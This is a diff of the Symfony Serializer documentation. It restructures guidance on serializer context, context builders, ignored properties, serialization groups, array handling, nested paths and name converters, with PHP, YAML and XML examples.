+* :class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
+* :class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
+* :class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
 
-To define the (de)serialization context, you can use "context builders", which
-are objects that help you to create that context by providing autocompletion,
-validation, and documentation::
+Read more about these encoders and their configuration in
+:doc:`/serializer/encoders`.
 
-    use Symfony\Component\Serializer\Context\Normalizer\DateTimeNormalizerContextBuilder;
+.. tip::
 
-    $contextBuilder = (new DateTimeNormalizerContextBuilder())->withFormat('Y-m-d H:i:s');
-    $serializer->serialize($something, 'json', $contextBuilder->toArray());
+    The `API Platform`_ project provides encoders for more advanced
+    formats:
 
-Each normalizer/encoder has its related :ref:`context builder <component-serializer-context-builders>`.
-To create a more complex (de)serialization context, you can chain them using the
-``withContext()`` method::
+    * `JSON-LD`_ along with the `Hydra Core Vocabulary`_
+    * `OpenAPI`_ v2 (formerly Swagger) and v3
+    * `GraphQL`_
+    * `JSON:API`_
+    * `HAL`_
 
-    use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
-    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
+.. _serializer-context:
 
-    $initialContext = [
-        'custom_key' => 'custom_value',
-    ];
+Serializer Context
+~~~~~~~~~~~~~~~~~~
 
-    $contextBuilder = (new ObjectNormalizerContextBuilder())
-        ->withContext($initialContext)
-        ->withGroups(['group1', 'group2']);
+The serializer, and its normalizers and encoders, are configured through
+the *serializer context*. This context can be configured in multiple
+places:
 
-    $contextBuilder = (new CsvEncoderContextBuilder())
-        ->withContext($contextBuilder)
-        ->withDelimiter(';');
+* :ref:`Globally through the framework configuration <serializer-default-context>`
+* :ref:`While serializing/deserializing <serializer-context-while-serializing-deserializing>`
+* :ref:`For a specific property <serializer-using-context-builders>`
 
-    $serializer->serialize($something, 'csv', $contextBuilder->toArray());
+You can use all three options at the same time. When the same setting is
+configured in multiple places, the latter in the list above will override
+the previous one (e.g. the setting on a specific property overrides the one
+configured globally).
+
+.. _serializer-default-context:
+
+Configure a Default Context
+...........................
+
+You can configure a default context in the framework configuration, for
+instance to disallow extra fields while deserializing:
 
-You can also :doc:`create your context builders </serializer/custom_context_builders>`
-to have autocompletion, validation, and documentation for your custom context values.
+.. configuration-block::
+
+    .. code-block:: yaml
 
-.. _serializer-using-serialization-groups-attributes:
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                default_context:
+                    allow_extra_attributes: false
 
-Using Serialization Groups Attributes
--------------------------------------
+    .. code-block:: xml
 
-You can add :ref:`#[Groups] attributes <component-serializer-attributes-groups-attributes>`
-to your class properties::
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:serializer>
+                    <framework:default-context>
+                        <framework:allow-extra-attributes>false</framework:allow-extra-attributes>
+                    </framework:default-context>
+                </framework:serializer>
+            </framework:config>
+        </container>
 
-    // src/Entity/Product.php
-    namespace App\Entity;
+    .. code-block:: php
 
-    use Doctrine\ORM\Mapping as ORM;
-    use Symfony\Component\Serializer\Annotation\Groups;
+        // config/packages/serializer.php
+        use Symfony\Config\FrameworkConfig;
 
-    #[ORM\Entity]
-    class Product
-    {
-        #[ORM\Id]
-        #[ORM\GeneratedValue]
-        #[ORM\Column(type: 'integer')]
-        #[Groups(['show_product', 'list_product'])]
-        private int $id;
+        return static function (FrameworkConfig $framework): void {
+            $framework->serializer()
+                ->defaultContext('', [
+                    'allow_extra_attributes' => false,
+                ])
+            ;
+        };
 
-        #[ORM\Column(type: 'string', length: 255)]
-        #[Groups(['show_product', 'list_product'])]
-        private string $name;
+    .. code-block:: php-standalone
 
-        #[ORM\Column(type: 'text')]
-        #[Groups(['show_product'])]
-        private string $description;
-    }
+        use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
 
-You can also use the ``#[Groups]`` attribute on class level::
+        // ...
+        $normalizers = [
+            new ObjectNormalizer(null, null, null, null, null, null, [
+                'allow_extra_attributes' => false,
+            ]),
+        ];
+        $serializer = new Serializer($normalizers, $encoders);
 
-    #[ORM\Entity]
-    #[Groups(['show_product'])]
-    class Product
-    {
-        #[ORM\Id]
-        #[ORM\GeneratedValue]
-        #[ORM\Column(type: 'integer')]
-        #[Groups(['list_product'])]
-        private int $id;
+.. _serializer-context-while-serializing-deserializing:
 
-        #[ORM\Column(type: 'string', length: 255)]
-        #[Groups(['list_product'])]
-        private string $name;
+Pass Context while Serializing/Deserializing
+............................................
 
-        #[ORM\Column(type: 'text')]
-        private string $description;
-    }
+You can also configure the context for a single call to
+``serialize()``/``deserialize()``. For instance, you can skip
+properties with a ``null`` value only for one serialize call::
 
-In this example, the ``id`` and the ``name`` properties belong to the
-``show_product`` and ``list_product`` groups. The ``description`` property
-only belongs to the ``show_product`` group.
+    use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
 
-Now that your groups are defined, you can choose which groups to use when
-serializing::
+    // ...
+    $serializer->serialize($person, 'json', [
+        AbstractObjectNormalizer::SKIP_NULL_VALUES => true
+    ]);
 
-    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
+    // next calls to serialize() will NOT skip null values
 
-    $context = (new ObjectNormalizerContextBuilder())
-        ->withGroups('show_product')
-        ->toArray();
+.. _serializer-using-context-builders:
 
-    $json = $serializer->serialize($product, 'json', $context);
+Using Context Builders
+""""""""""""""""""""""
 
-.. tip::
+You can use "context builders" to help define the (de)serialization
+context. Context builders are PHP objects that provide autocompletion,
+validation, and documentation of context options::
 
-    The value of the ``groups`` key can be a single string, or an array of strings.
+    use Symfony\Component\Serializer\Context\Normalizer\DateTimeNormalizerContextBuilder;
 
-In addition to the ``#[Groups]`` attribute, the Serializer component also
-supports YAML or XML files. These files are automatically loaded when being
-stored in one of the following locations:
+    $contextBuilder = (new DateTimeNormalizerContextBuilder())
+        ->withFormat('Y-m-d H:i:s');
+    $serializer->serialize($something, 'json', $contextBuilder->toArray());
 
-* All ``*.yaml`` and ``*.xml`` files in the ``config/serializer/``
-  directory.
-* The ``serialization.yaml`` or ``serialization.xml`` file in
-  the ``Resources/config/`` directory of a bundle;
-* All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/``
-  directory of a bundle.
+Each normalizer/encoder has its related context builder. To create a more
+complex (de)serialization context, you can chain them using the
+``withContext()`` method::
 
-.. note::
+    use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
+    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
 
-    The groups used by default when normalizing and denormalizing objects are
-    ``Default`` and the group that matches the class name. For example, if you
-    are normalizing a ``App\Entity\Product`` object, the groups used are
-    ``Default`` and ``Product``.
+    $initialContext = [
+        'custom_key' => 'custom_value',
+    ];
 
-    .. versionadded:: 7.1
+    $contextBuilder = (new ObjectNormalizerContextBuilder())
+        ->withContext($initialContext)
+        ->withGroups(['group1', 'group2']);
+
+    $contextBuilder = (new CsvEncoderContextBuilder())
+        ->withContext($contextBuilder)
+        ->withDelimiter(';');
 
-        The default use of the class name and ``Default`` groups when normalizing
-        and denormalizing objects was introduced in Symfony 7.1.
+    $serializer->serialize($something, 'csv', $contextBuilder->toArray());
 
-.. _serializer-enabling-metadata-cache:
+.. seealso::
 
-Using Nested Attributes
------------------------
+    You can also :doc:`create your context builders </serializer/custom_context_builders>`
+    to have autocompletion, validation, and documentation for your custom
+    context values.
 
-To map nested properties, use the ``SerializedPath`` configuration to define
-their paths using a :doc:`valid PropertyAccess syntax </components/property_access>`:
+Configure Context on a Specific Property
+........................................
+
+At last, you can also configure context values on a specific object
+property. For instance, to configure the datetime format:
 
 .. configuration-block::
 
     .. code-block:: php-attributes
 
-        namespace App\Model;
+        // src/Model/Person.php
 
-        use Symfony\Component\Serializer\Attribute\SerializedPath;
+        // ...
+        use Symfony\Component\Serializer\Attribute\Context;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
 
         class Person
         {
-            #[SerializedPath('[profile][information][birthday]')]
-            private string $birthday;
+            #[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])]
+            public \DateTimeImmutable $createdAt;
 
             // ...
         }
 
     .. code-block:: yaml
 
+        # config/serializer/person.yaml
         App\Model\Person:
             attributes:
-                dob:
-                    serialized_path: '[profile][information][birthday]'
+                createdAt:
+                    contexts:
+                        - context: { datetime_format: 'Y-m-d' }
 
     .. code-block:: xml
 
+        <!-- config/serializer/person.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -437,96 +466,1034 @@ their paths using a :doc:`valid PropertyAccess syntax </components/property_acce
                 https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
         >
             <class name="App\Model\Person">
-                <attribute name="dob" serialized-path="[profile][information][birthday]"/>
+                <attribute name="createdAt">
+                    <context>
+                        <entry name="datetime_format">Y-m-d</entry>
+                    </context>
+                </attribute>
             </class>
         </serializer>
 
-Using the configuration from above, denormalizing with a metadata-aware
-normalizer will write the ``birthday`` field from ``$data`` onto the ``Person``
-object::
+.. note::
 
-    $data = [
-        'profile' => [
-            'information' => [
-                'birthday' => '01-01-1970',
-            ],
-        ],
-    ];
-    $person = $normalizer->denormalize($data, Person::class, 'any');
-    $person->getBirthday(); // 01-01-1970
+    When using YAML or XML, the mapping files must be placed in one of
+    these locations:
 
-When using attributes, the ``SerializedPath`` can either
-be set on the property or the associated _getter_ method. The ``SerializedPath``
-cannot be used in combination with a ``SerializedName`` for the same property.
+    * All ``*.yaml`` and ``*.xml`` files in the ``config/serializer/``
+      directory.
+    * The ``serialization.yaml`` or ``serialization.xml`` file in the
+      ``Resources/config/`` directory of a bundle;
+    * All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/``
+      directory of a bundle.
 
-Configuring the Metadata Cache
-------------------------------
+You can also specify a context specific to normalization or denormalization:
 
-The metadata for the serializer is automatically cached to enhance application
-performance. By default, the serializer uses the ``cache.system`` cache pool
-which is configured using the :ref:`cache.system <reference-cache-system>`
-option.
+.. configuration-block::
+
+    .. code-block:: php-attributes
 
-Enabling a Name Converter
--------------------------
+        // src/Model/Person.php
 
-The use of a :ref:`name converter <component-serializer-converting-property-names-when-serializing-and-deserializing>`
-service can be defined in the configuration using the :ref:`name_converter <reference-serializer-name_converter>`
-option.
+        // ...
+        use Symfony\Component\Serializer\Attribute\Context;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
 
-The built-in :ref:`CamelCase to snake_case name converter <using-camelized-method-names-for-underscored-attributes>`
-can be enabled by using the ``serializer.name_converter.camel_case_to_snake_case``
-value:
+        class Person
+        {
+            #[Context(
+                normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'],
+                denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339],
+            )]
+            public \DateTimeImmutable $createdAt;
 
-.. configuration-block::
+            // ...
+        }
 
     .. code-block:: yaml
 
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            serializer:
-                name_converter: 'serializer.name_converter.camel_case_to_snake_case'
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                createdAt:
+                    contexts:
+                        - normalizationContext: { datetime_format: 'Y-m-d' }
+                          denormalizationContext: { datetime_format: !php/const \DateTime::RFC3339 }
 
     .. code-block:: xml
 
-        <!-- config/packages/framework.xml -->
-        <framework:config>
-            <!-- ... -->
-            <framework:serializer name-converter="serializer.name_converter.camel_case_to_snake_case"/>
-        </framework:config>
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="createdAt">
+                    <normalization-context>
+                        <entry name="datetime_format">Y-m-d</entry>
+                    </normalization-context>
 
-    .. code-block:: php
+                    <denormalization-context>
+                        <entry name="datetime_format">Y-m-d\TH:i:sP</entry>
+                    </denormalization-context>
+                </attribute>
+            </class>
+        </serializer>
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+.. _serializer-context-group:
 
-        return static function (FrameworkConfig $framework): void {
-            $framework->serializer()->nameConverter('serializer.name_converter.camel_case_to_snake_case');
-        };
+You can also restrict the usage of a context to some
+:ref:`groups <serializer-groups-attribute>`:
 
-Debugging the Serializer
-------------------------
+.. configuration-block::
 
-Use the ``debug:serializer`` command to dump the serializer metadata of a
-given class:
+    .. code-block:: php-attributes
 
-.. code-block:: terminal
+        // src/Model/Person.php
 
-    $ php bin/console debug:serializer 'App\Entity\Book'
+        // ...
+        use Symfony\Component\Serializer\Attribute\Context;
+        use Symfony\Component\Serializer\Attribute\Groups;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
 
-        App\Entity\Book
-        ---------------
+        class Person
+        {
+            #[Groups(['extended'])]
+            #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
+            #[Context(
+                context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
+                groups: ['extended'],
+            )]
+            public \DateTimeImmutable $createdAt;
 
-        +----------+------------------------------------------------------------+
-        | Property | Options                                                    |
-        +----------+------------------------------------------------------------+
-        | name     | [                                                          |
-        |          |   "groups" => [                                            |
-        |          |       "book:read",                                         |
-        |          |       "book:write",                                        |
-        |          |   ],                                                       |
-        |          |   "maxDepth" => 1,                                         |
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                createdAt:
+                    groups: [extended]
+                    contexts:
+                        - context: { datetime_format: !php/const \DateTime::RFC3339 }
+                        - context: { datetime_format: !php/const \DateTime::RFC3339_EXTENDED }
+                          groups: [extended]
+
+    .. code-block:: xml
+
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="createdAt">
+                    <group>extended</group>
+
+                    <context>
+                        <entry name="datetime_format">Y-m-d\TH:i:sP</entry>
+                    </context>
+                    <context>
+                        <entry name="datetime_format">Y-m-d\TH:i:s.vP</entry>
+                        <group>extended</group>
+                    </context>
+                </attribute>
+            </class>
+        </serializer>
+
+The attribute can be repeated as much as needed on a single property.
+Context without group is always applied first. Then context for the
+matching groups are merged in the provided order.
+
+If you repeat the same context in multiple properties, consider using the
+``#[Context]`` attribute on your class to apply that context configuration to
+all the properties of the class::
+
+    namespace App\Model;
+
+    use Symfony\Component\Serializer\Attribute\Context;
+    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+
+    #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
+    #[Context(
+        context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
+        groups: ['extended'],
+    )]
+    class Person
+    {
+        // ...
+    }
+
+Serializing to or from PHP Arrays
+---------------------------------
+
+The default :class:`Symfony\\Component\\Serializer\\Serializer` can also be
+used to only perform one step of the :ref:`two step serialization process <serializer-process>`
+by using the respective interface:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        use Symfony\Component\Serializer\Encoder\DecoderInterface;
+        use Symfony\Component\Serializer\Encoder\EncoderInterface;
+        use Symfony\Component\Serializer\Normalizer\DenormalizerInterface;
+        use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
+        // ...
+
+        class PersonController extends AbstractController
+        {
+            public function index(DenormalizerInterface&NormalizerInterface $serializer): Response
+            {
+                $person = new Person('Jane Doe', 39, false);
+
+                // use normalize() to convert a PHP object to an array
+                $personArray = $serializer->normalize($person, 'json');
+
+                // ...and denormalize() to convert an array back to a PHP object
+                $personCopy = $serializer->denormalize($personArray, Person::class);
+
+                // ...
+            }
+
+            public function json(DecoderInterface&EncoderInterface $serializer): Response
+            {
+                $data = ['name' => 'Jane Doe'];
+
+                // use encode() to transform PHP arrays into another format
+                $json = $serializer->encode($data, 'json');
+
+                // ...and decode() to transform any format to just PHP arrays (instead of objects)
+                $data = $serializer->decode('{"name":"Charlie Doe"}', 'json');
+                // $data contains ['name' => 'Charlie Doe']
+            }
+        }
+
+    .. code-block:: php-standalone
+
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Encoder\JsonEncoder;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        $encoders = [new JsonEncoder()];
+        $normalizers = [new ObjectNormalizer()];
+        $serializer = new Serializer($normalizers, $encoders);
+
+        // use normalize() to convert a PHP object to an array
+        $personArray = $serializer->normalize($person, 'json');
+
+        // ...and denormalize() to convert an array back to a PHP object
+        $personCopy = $serializer->denormalize($personArray, Person::class);
+
+        $data = ['name' => 'Jane Doe'];
+
+        // use encode() to transform PHP arrays into another format
+        $json = $serializer->encode($data, 'json');
+
+        // ...and decode() to transform any format to just PHP arrays (instead of objects)
+        $data = $serializer->decode('{"name":"Charlie Doe"}', 'json');
+        // $data contains ['name' => 'Charlie Doe']
+
+.. _serializer_ignoring-attributes:
+
+Ignoring Properties
+-------------------
+
+The ``ObjectNormalizer`` normalizes *all* properties of an object and all
+methods starting with ``get*()``, ``has*()``, ``is*()`` and ``can*()``.
+Some properties or methods should never be serialized. You can exclude
+them using the ``#[Ignore]`` attribute:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\Ignore;
+
+        class Person
+        {
+            // ...
+
+            #[Ignore]
+            public function isPotentiallySpamUser(): bool
+            {
+                // ...
+            }
+        }
+
+    .. code-block:: yaml
+
+        App\Model\Person:
+            attributes:
+                potentiallySpamUser:
+                    ignore: true
+
+    .. code-block:: xml
+
+        <?xml version="1.0" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="potentiallySpamUser" ignore="true"/>
+            </class>
+        </serializer>
+
+The ``potentiallySpamUser`` property will now never be serialized:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        use App\Model\Person;
+
+        // ...
+        $person = new Person('Jane Doe', 32, false);
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+        $person1 = $serializer->deserialize(
+            '{"name":"Jane Doe","age":32,"sportsperson":false","potentiallySpamUser":false}',
+            Person::class,
+            'json'
+        );
+        // the "potentiallySpamUser" value is ignored
+
+    .. code-block:: php-standalone
+
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+        use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        // ...
+
+        // you need to pass a class metadata factory with a loader to the
+        // ObjectNormalizer when reading mapping information like Ignore or Groups.
+        // E.g. when using PHP attributes:
+        $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
+        $normalizers = [new ObjectNormalizer($classMetadataFactory)];
+
+        $serializer = new Serializer($normalizers, $encoders);
+
+        $person = new Person('Jane Doe', 32, false);
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+        $person1 = $serializer->deserialize(
+            '{"name":"Jane Doe","age":32,"sportsperson":false","potentiallySpamUser":false}',
+            Person::class,
+            'json'
+        );
+        // the "potentiallySpamUser" value is ignored
+
+Ignoring Attributes Using the Context
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can also pass an array of attribute names to ignore at runtime using
+the ``ignored_attributes`` context options::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+
+    // ...
+    $person = new Person('Jane Doe', 32, false);
+    $json = $serializer->serialize($person, 'json',
+    [
+        AbstractNormalizer::IGNORED_ATTRIBUTES => ['age'],
+    ]);
+    // $json contains {"name":"Jane Doe","sportsperson":false}
+
+However, this can quickly become unmaintainable if used excessively. See
+the next section about *serialization groups* for a better solution.
+
+.. _serializer-groups-attribute:
+
+Selecting Specific Properties
+-----------------------------
+
+Instead of excluding a property or method in all situations, you might need
+to exclude some properties in one place, but serialize them in another.
+Groups are a handy way to achieve this.
+
+You can add the ``#[Groups]`` attribute to your class:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\Groups;
+
+        class Person
+        {
+            #[Groups(["admin-view"])]
+            private int $age;
+
+            #[Groups(["public-view"])]
+            private string $name;
+
+            #[Groups(["public-view"])]
+            private bool $sportsperson;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                age:
+                    groups: ['admin-view']
+                name:
+                    groups: ['public-view']
+                sportsperson:
+                    groups: ['public-view']
+
+    .. code-block:: xml
+
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="age">
+                    <group>admin-view</group>
+                </attribute>
+                <attribute name="name">
+                    <group>public-view</group>
+                </attribute>
+                <attribute name="sportsperson">
+                    <group>public-view</group>
+                </attribute>
+            </class>
+        </serializer>
+
+You can now choose which groups to use when serializing::
+
+    $json = $serializer->serialize(
+        $person,
+        'json',
+        ['groups' => 'public-view']
+    );
+    // $json contains {"name":"Jane Doe","sportsperson":false}
+
+    // you can also pass an array of groups
+    $json = $serializer->serialize(
+        $person,
+        'json',
+        ['groups' => ['public-view', 'admin-view']]
+    );
+    // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+    // or use the special "*" value to select all groups
+    $json = $serializer->serialize(
+        $person,
+        'json',
+        ['groups' => '*']
+    );
+    // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+Using the Serialization Context
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+At last, you can also use the ``attributes`` context option to select
+properties at runtime::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+    // ...
+
+    $json = $serializer->serialize($person, 'json', [
+        AbstractNormalizer::ATTRIBUTES => ['name', 'company' => ['name']]
+    ]);
+    // $json contains {"name":"Dunglas","company":{"name":"Les-Tilleuls.coop"}}
+
+Only attributes that are :ref:`not ignored <serializer_ignoring-attributes>`
+are available. If serialization groups are set, only attributes allowed by
+those groups can be used.
+
+.. _serializer-handling-arrays:
+
+Handling Arrays
+---------------
+
+The serializer is capable of handling arrays of objects. Serializing arrays
+works just like serializing a single object::
+
+    use App\Model\Person;
+
+    // ...
+    $person1 = new Person('Jane Doe', 39, false);
+    $person2 = new Person('John Smith', 52, true);
+
+    $persons = [$person1, $person2];
+    $JsonContent = $serializer->serialize($persons, 'json');
+
+    // $jsonContent contains [{"name":"Jane Doe","age":39,"sportsman":false},{"name":"John Smith","age":52,"sportsman":true}]
+
+To deserialize a list of objects, you have to append ``[]`` to the type
+parameter::
+
+    // ...
+
+    $jsonData = ...; // the serialized JSON data from the previous example
+    $persons = $serializer->deserialize($JsonData, Person::class.'[]', 'json');
+
+For nested classes, you have to add a PHPDoc type to the property, constructor or setter::
+
+    // src/Model/UserGroup.php
+    namespace App\Model;
+
+    class UserGroup
+    {
+        /**
+         * @param Person[] $members
+         */
+        public function __construct(
+            private array $members,
+        ) {
+        }
+
+        // or if you're using a setter
+
+        /**
+         * @param Person[] $members
+         */
+        public function setMembers(array $members): void
+        {
+            $this->members = $members;
+        }
+
+        // ...
+    }
+
+.. tip::
+
+    The Serializer also supports array types used in static analysis, like
+    ``list<Person>`` and ``array<Person>``. Make sure the
+    ``phpstan/phpdoc-parser`` and ``phpdocumentor/reflection-docblock``
+    packages are installed (these are part of the ``symfony/serializer-pack``).
+
+.. _serializer-nested-structures:
+
+Deserializing Nested Structures
+-------------------------------
+
+Some APIs might provide verbose nested structures that you want to flatten
+in the PHP object. For instance, imagine a JSON response like this:
+
+.. code-block:: json
+
+    {
+        "id": "123",
+        "profile": {
+            "username": "jdoe",
+            "personal_information": {
+                "full_name": "Jane Doe"
+            }
+        }
+    }
+
+You may wish to serialize this information to a single PHP object like::
+
+    class Person
+    {
+        private int $id;
+        private string $username;
+        private string $fullName;
+    }
+
+Use the ``#[SerializedPath]`` to specify the path of the nested property
+using :doc:`valid PropertyAccess syntax </components/property_access>`:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\SerializedPath;
+
+        class Person
+        {
+            private int $id;
+
+            #[SerializedPath('[profile][username]')]
+            private string $username;
+
+            #[SerializedPath('[profile][personal_information][full_name]')]
+            private string $fullName;
+        }
+
+    .. code-block:: yaml
+
+        App\Model\Person:
+            attributes:
+                username:
+                    serialized_path: '[profile][username]'
+                fullName:
+                    serialized_path: '[profile][personal_information][full_name]'
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="username" serialized-path="[profile][username]"/>
+                <attribute name="fullName" serialized-path="[profile][personal_information][full_name]"/>
+            </class>
+        </serializer>
+
+.. warning::
+
+    The ``SerializedPath`` cannot be used in combination with a
+    ``SerializedName`` for the same property.
+
+The ``#[SerializedPath]`` attribute also applies to the serialization of a
+PHP object::
+
+    use App\Model\Person;
+    // ...
+
+    $person = new Person(123, 'jdoe', 'Jane Doe');
+    $jsonContent = $serializer->serialize($person, 'json');
+    // $jsonContent contains {"id":123,"profile":{"username":"jdoe","personal_information":{"full_name":"Jane Doe"}}}
+
+.. _serializer-name-conversion:
+
+Converting Property Names when Serializing and Deserializing
+------------------------------------------------------------
+
+Sometimes serialized attributes must be named differently than properties
+or getter/setter methods of PHP classes. This can be achieved using name
+converters.
+
+The serializer service uses the
+:class:`Symfony\\Component\\Serializer\\NameConverter\\MetadataAwareNameConverter`.
+With this name converter, you can change the name of an attribute using
+the ``#[SerializedName]`` attribute:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\SerializedName;
+
+        class Person
+        {
+            #[SerializedName('customer_name')]
+            private string $name;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/serializer/person.yaml
+        App\Entity\Person:
+            attributes:
+                name:
+                    serialized_name: customer_name
+
+    .. code-block:: xml
+
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Entity\Person">
+                <attribute name="name" serialized-name="customer_name"/>
+            </class>
+        </serializer>
+
+This custom mapping is used to convert property names when serializing and
+deserializing objects:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        // ...
+
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"customer_name":"Jane Doe", ...}
+
+    .. code-block:: php-standalone
+
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+        use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+        use Symfony\Component\Serializer\NameConverter\MetadataAwareNameConverter;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        // ...
+
+        // Configure a loader to retrieve mapping information like SerializedName.
+        // E.g. when using PHP attributes:
+        $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
